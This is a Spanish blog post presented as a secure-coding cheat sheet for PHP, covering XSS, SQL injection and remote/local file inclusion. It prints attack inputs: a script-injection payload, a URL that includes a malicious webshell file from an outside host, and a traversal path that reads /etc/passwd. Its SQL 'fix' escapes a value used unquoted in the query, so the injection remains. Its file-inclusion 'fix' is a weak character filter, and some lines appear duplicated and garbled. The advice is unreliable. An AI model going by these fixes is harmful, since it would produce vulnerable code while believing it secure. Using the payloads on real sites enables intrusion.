Bueno, a modo de chuleta, os dejo mi primer artículo en este blog ^^
Veremos como evitar los bugs más conocidos en un entorno PHP.
XSS
Bien, XSS viene del inglés Cross-Site Scripting. Se cambió la primera letra de las siglas para poder diferenciarlas de Cascading Style Sheets (hojas de estilo).
Este bug consiste en incrustar código (HTML, JavaScript, VBScript, etc.) en una página web para que se ejecute, ya sea temporal (reflejado) o persistentemente (directo).
El ejemplo más simple de XSS temporal:
<?php
echo $_GET['codigo'];
?>
echo $_GET['codigo'];
?>
Si hacemos:
file.php?codigo=<script>alert('byte-inside');</script>
Nos saltará una bonita ventana de alerta.La solución rápida:
<?php echo htmlentities($_GET['codigo']); ?>
Utilizando la función htmlentities() nativa de PHP.
SQL injection
Este bug quizás sea uno de los más abundantes y fáciles de corregir (para su gravedad). No me voy parar a explicarlo, con SQL injection como su nombre indica, inyectamos código SQL ejecutándolo y afectando el comportamiento final.
Veremos como parchear una inyección de código SQL en bases de datos MySQL, que ya nos proporcionan funciones para esto.
Ejemplo vulnerable:
<?php $id = $_GET['id']; mysql_query("SELECT titulo, autor, contenido FROM noticias WHERE id = ".$id); ?>
Solución:<?php $id = mysql_real_escape_string($_GET['id']); mysql_query("SELECT titulo, autor, contenido FROM noticias WHERE id = ".$id); ?>
RFI/LFI
Estos bugs los podemos emparejar, Remote File Inclusion (RFI) y Local File Inclusion (LFI), ya que los dos tratan de inclusión de archivos.
En el caso de RFI, el error está al dejar que el usuario incluya en la página archivos externos los cuales pueden ser maliciosos (por ejemplo una webshell).
Claro ejemplo vulnerable a ambos (RFI y LFI):
<?php include($_GET['archivo']); ?>
vulnerable.php?archivo=http://mihost/malicioso.txt
vulnerable.php?archivo=../../../etc/passwd
Una forma de evitarlos es hacer comprobaciones sobre la variable "archivo" en cuestión, pero si queremos dejar una lista larga, debemos buscar soluciones como esta:vulnerable.php?archivo=../../../etc/passwd
<?php $archivo = str_replace(array(':', '.', '/', '\\'), '', $_GET['archivo']); include($archivo); ?>
Saludos lectores!

